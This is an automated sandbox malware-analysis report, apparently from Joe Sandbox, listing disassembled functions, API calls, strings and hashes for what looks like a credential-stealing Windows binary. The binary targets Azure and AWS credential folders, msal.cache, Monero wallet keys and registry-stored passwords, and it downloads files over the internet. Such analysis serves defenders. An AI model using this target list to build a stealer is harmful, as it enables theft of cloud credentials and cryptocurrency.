Part of subcall function 004B52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 004B5364
Part of subcall function 004B52C0: lstrlen.KERNEL32(00000000), ref: 004B5383
Part of subcall function 004B52C0: lstrlen.KERNEL32(00000000), ref: 004B53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 004B578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 004B5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004B5A0C
Sleep.KERNEL32(0000EA60), ref: 004B5A1B

Strings

ERROR, xrefs: 004B5849
ERROR, xrefs: 004B5636
ERROR, xrefs: 004B5693
ERROR, xrefs: 004B577D
ERROR, xrefs: 004B5932
ERROR, xrefs: 004B59FE

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 8d68ca08e04bce69c5dfa40b3cf55a15225498ad7bdaf7831241e326fc37c160
Instruction ID: 4745d854cb7a8a0f5235e5e99011e20e69793e1b3702bb37a1fd53e3fde9ae77
Opcode Fuzzy Hash: 8d68ca08e04bce69c5dfa40b3cf55a15225498ad7bdaf7831241e326fc37c160
Instruction Fuzzy Hash: BAE14475910204BACB14FBB1DC92EED7379AF54304F50811EB40666591EF3CAB1ACBBA

Function 004B4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004B8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 004B8E0B

lstrcat.KERNEL32(?,00000000), ref: 004B4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 004B4DCD

Part of subcall function 004B4910: wsprintfA.USER32 ref: 004B492C
Part of subcall function 004B4910: FindFirstFileA.KERNEL32(?,?), ref: 004B4943

lstrcat.KERNEL32(?,00000000), ref: 004B4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 004B4E59

Part of subcall function 004B4910: StrCmpCA.SHLWAPI(?,004C0FDC), ref: 004B4971
Part of subcall function 004B4910: StrCmpCA.SHLWAPI(?,004C0FE0), ref: 004B4987
Part of subcall function 004B4910: FindNextFileA.KERNEL32(000000FF,?), ref: 004B4B7D
Part of subcall function 004B4910: FindClose.KERNEL32(000000FF), ref: 004B4B92

lstrcat.KERNEL32(?,00000000), ref: 004B4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 004B4EE5

Part of subcall function 004B4910: wsprintfA.USER32 ref: 004B49B0
Part of subcall function 004B4910: StrCmpCA.SHLWAPI(?,004C08D2), ref: 004B49C5
Part of subcall function 004B4910: wsprintfA.USER32 ref: 004B49E2
Part of subcall function 004B4910: PathMatchSpecA.SHLWAPI(?,?), ref: 004B4A1E
Part of subcall function 004B4910: lstrcat.KERNEL32(?,00FDF610), ref: 004B4A4A
Part of subcall function 004B4910: lstrcat.KERNEL32(?,004C0FF8), ref: 004B4A5C
Part of subcall function 004B4910: lstrcat.KERNEL32(?,?), ref: 004B4A70
Part of subcall function 004B4910: lstrcat.KERNEL32(?,004C0FFC), ref: 004B4A82
Part of subcall function 004B4910: lstrcat.KERNEL32(?,?), ref: 004B4A96
Part of subcall function 004B4910: CopyFileA.KERNEL32(?,?,00000001), ref: 004B4AAC
Part of subcall function 004B4910: DeleteFileA.KERNEL32(?), ref: 004B4B31

Strings

\.azure\, xrefs: 004B4DC1
Azure\.azure, xrefs: 004B4DD3
Azure\.aws, xrefs: 004B4E5F
\.IdentityService\, xrefs: 004B4ED9
\.aws\, xrefs: 004B4E4D
*.*, xrefs: 004B4E64
Azure\.IdentityService, xrefs: 004B4EEB
msal.cache, xrefs: 004B4EF0
*.*, xrefs: 004B4DD8

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 5427dbab9a5de391d7ccf66e5f9b9cc78a8576ae01a77f9102ea4cece4a69677
Instruction ID: b138499e9f891048a0f9348af8400191a73bff3a0e92fb06982e0abd8e0fbe24
Opcode Fuzzy Hash: 5427dbab9a5de391d7ccf66e5f9b9cc78a8576ae01a77f9102ea4cece4a69677
Instruction Fuzzy Hash: 444195BAA4030867DB50F770DC47FED3338AB65704F00445D7585A60C2EEB9ABD98BA6

Function 004A1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004A12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004A12B4
Part of subcall function 004A12A0: RtlAllocateHeap.NTDLL(00000000), ref: 004A12BB
Part of subcall function 004A12A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004A12D7
Part of subcall function 004A12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 004A12F5
Part of subcall function 004A12A0: RegCloseKey.ADVAPI32(?), ref: 004A12FF

lstrcat.KERNEL32(?,00000000), ref: 004A134F
lstrlen.KERNEL32(?), ref: 004A135C
lstrcat.KERNEL32(?,.keys), ref: 004A1377

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Part of subcall function 004BA9B0: lstrlen.KERNEL32(?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004BA9C5
Part of subcall function 004BA9B0: lstrcpy.KERNEL32(00000000), ref: 004BAA04
Part of subcall function 004BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 004BAA12

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

Part of subcall function 004B8B60: GetSystemTime.KERNEL32(004C0E1A,00FDA418,004C05AE,?,?,004A13F9,?,0000001A,004C0E1A,00000000,?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004B8B86

Part of subcall function 004BA920: lstrcpy.KERNEL32(00000000,?), ref: 004BA972
Part of subcall function 004BA920: lstrcat.KERNEL32(00000000), ref: 004BA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 004A1465

Part of subcall function 004BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 004BA7E6

Part of subcall function 004A99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004A99EC
Part of subcall function 004A99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004A9A11
Part of subcall function 004A99C0: LocalAlloc.KERNEL32(00000040,?), ref: 004A9A31
Part of subcall function 004A99C0: ReadFile.KERNEL32(000000FF,?,00000000,004A148F,00000000), ref: 004A9A5A
Part of subcall function 004A99C0: LocalFree.KERNEL32(004A148F), ref: 004A9A90
Part of subcall function 004A99C0: CloseHandle.KERNEL32(000000FF), ref: 004A9A9A

DeleteFileA.KERNEL32(00000000), ref: 004A14EF

Strings

\Monero\wallet.keys, xrefs: 004A138D
SOFTWARE\monero-project\monero-core, xrefs: 004A1335
.keys, xrefs: 004A136B
wallet_path, xrefs: 004A1330

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: ea05c85325012d51d997f665f44b6ef54f1153cc17acf1c4164ea42dde84251b
Instruction ID: e1664f269c99e3f37842df7043205a5165fd88bb1e34186eb1d1cbe042319673
Opcode Fuzzy Hash: ea05c85325012d51d997f665f44b6ef54f1153cc17acf1c4164ea42dde84251b
Instruction Fuzzy Hash: EE5175B5D501186BCB15FB61DDA1FED733CAF54304F40419DB20A62091EE386B99CBBA

Function 004B7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004B7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004B757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004B7603
RtlAllocateHeap.NTDLL(00000000), ref: 004B760A
wsprintfA.USER32 ref: 004B7640

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Strings

\, xrefs: 004B7560
L, xrefs: 004B764D, 004B7655, 004B761B, 004B7623
C, xrefs: 004B754C
:, xrefs: 004B755C

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$L
API String ID: 1544550907-3980953124
Opcode ID: 7089ec921d5e8d06f6bacadcca767050f05102d7826bafe5411e5e061f1778c2
Instruction ID: 99453ebf9b0f11ae415afc2783fe65823e1cc8cf0a33b24b3fad660742b95267
Opcode Fuzzy Hash: 7089ec921d5e8d06f6bacadcca767050f05102d7826bafe5411e5e061f1778c2
Instruction Fuzzy Hash: B54194B1D04348ABDF10DF94DC95BDEBBB8EF48714F10019AF5056B280DB78AA44CBA6

Function 004A75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004A72D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 004A733A
Part of subcall function 004A72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004A73B1
Part of subcall function 004A72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 004A740D
Part of subcall function 004A72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 004A7452
Part of subcall function 004A72D0: HeapFree.KERNEL32(00000000), ref: 004A7459

lstrcat.KERNEL32(2F5DF020,004C17FC), ref: 004A7606
lstrcat.KERNEL32(2F5DF020,00000000), ref: 004A7648
lstrcat.KERNEL32(2F5DF020, : ), ref: 004A765A
lstrcat.KERNEL32(2F5DF020,00000000), ref: 004A768F
lstrcat.KERNEL32(2F5DF020,004C1804), ref: 004A76A0
lstrcat.KERNEL32(2F5DF020,00000000), ref: 004A76D3
lstrcat.KERNEL32(2F5DF020,004C1808), ref: 004A76ED
task.LIBCPMTD ref: 004A76FB

Strings

: , xrefs: 004A764E

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 5f37456beb49001cf244ec4a99edf79bef7bbea8aa3cb7dcbda5d6acc069ed06
Instruction ID: 38e573888acf7e55595bc7eeeab8e9ae1d1668ed04f0196e970fc422c70c4d08
Opcode Fuzzy Hash: 5f37456beb49001cf244ec4a99edf79bef7bbea8aa3cb7dcbda5d6acc069ed06
Instruction Fuzzy Hash: DD316B71E00209DFCB04EBE5DC85EEF737AFB56305B14401EF102AB291DA38A942CB66

Function 004A60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 004BA7E6

Part of subcall function 004A47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004A4839
Part of subcall function 004A47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 004A4849

InternetOpenA.WININET(004C0DF7,00000001,00000000,00000000,00000000), ref: 004A610F
StrCmpCA.SHLWAPI(?,00FDF620), ref: 004A6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 004A618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 004A61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 004A61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 004A620A
CloseHandle.KERNEL32(?,?,00000400), ref: 004A6249
InternetCloseHandle.WININET(?), ref: 004A6253
InternetCloseHandle.WININET(00000000), ref: 004A6260

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: d5143eaa411c4928594945a07a58b00a300ca7970b64cb2dafc9f2be9ca408ed
Instruction ID: 621ea1f5e3f6ef240714bbd34bb1c44d9522a3ce94b10da21aec11b117ea885f
Opcode Fuzzy Hash: d5143eaa411c4928594945a07a58b00a300ca7970b64cb2dafc9f2be9ca408ed
Instruction Fuzzy Hash: D05188B1900218ABDF20DFA0DC45BEE7779FB54705F108099F605AB1C0DB786A85CF6A

Function 004A72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 004A733A
